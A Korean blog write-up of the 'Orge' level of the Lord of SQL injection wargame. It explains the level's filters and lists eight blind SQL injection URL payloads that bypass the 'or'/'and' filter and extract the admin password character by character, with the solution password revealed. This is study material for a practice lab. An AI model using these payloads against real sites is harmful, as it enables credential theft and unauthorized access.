훈훈훈
Lord of SQL injection(LoS) - 7. Orge 본문
먼저 코드를 살펴보면 다음과 같은 정보를 얻을 수 있다.
1. if(preg_match('/or|and/i', $GET[pw]))
=> 'or' 와 'and'를 필터링하고 있다.
2. $_GET[pw] = addslashes($_GET[pw])
=> addslahes( ) 함수를 사용함으로서 싱글쿼터를 사용할 수 없다.
3. if(($result['pw']) && ($result['pw'] == $_GET['pw']))
=> GET 방식으로 입력 받은 pw 값이 admin과 같아야 한다.
이제 문제를 어떻게 해결할지 생각해보자.
1. 'or' 그리고 'and'는 필터링을 하고 있기 때문에 우회할 방법을 찾아야한다.
2. 문제에서 addslahes( ) 함수를 사용하고 있다.
3. 따러서 Blind SQL injection을 이용하여 admin의 패스워드를 찾자.
먼저 length( ) 함수를 이용하여 패스워드 길이를 확인해 보았다. 위 그림을 확인했을때 패스워드 길이는 8인 것을 알 수 있다.
패스워드 길이를 알았으니 이제 패스워드 한 글자 한 글자 씩 구해보자.
( 코드를 이용하여 자동화 시켜서 푸는걸 추천한다. )
먼저 패스워드 첫 번째 자리를 확인해본 결과 54(6)임을 확인할 수 있다.
이러한 방식으로 순차적으로 계속 참과 거짓 반응을 확인하면서 패스워드를 유추하자.
이러한 과정이 모두 끝나면 다음과 같은 결과를 확인 할 수 있다.
1번째 값 : ?pw='%7c%7c id='admin' %26%26 ascii(substr(pw,1,1))=54%23 => 6
2번째 값 : ?pw='%7c%7c id='admin' %26%26 ascii(substr(pw,2,1))=99%23 => c
3번째 값 : ?pw='%7c%7c id='admin' %26%26 ascii(substr(pw,3,1))=56%23 => 8
4번째 값 : ?pw='%7c%7c id='admin' %26%26 ascii(substr(pw,4,1))=54%23 => 6
5번째 값 : ?pw='%7c%7c id='admin' %26%26 ascii(substr(pw,5,1))=52%23 => 4
6번째 값 : ?pw='%7c%7c id='admin' %26%26 ascii(substr(pw,6,1))=100%23 => d
7번째 값 : ?pw='%7c%7c id='admin' %26%26 ascii(substr(pw,7,1))=101%23 => e
8번째 값 : ?pw='%7c%7c id='admin' %26%26 ascii(substr(pw,8,1))=99%23 => c
위에서 얻은 패스워드 6c864dec를 입력하면 클리어 메세지를 확인할 수 있다.
'정보보안 > 웹 해킹 문제' 카테고리의 다른 글
Lord of SQL injection(LoS) - 9. Vampire (0) | 2018.10.21 |
---|---|
Lord of SQL injection(LoS) - 8. Troll (0) | 2018.10.21 |
Lord of SQL injection(LoS) - 6. Darkelf (0) | 2018.10.15 |
Lord of SQL injection(LoS) - 5. wolfman (0) | 2018.10.15 |
Lord of SQL injection(LoS) - 4. Orc (0) | 2018.10.15 |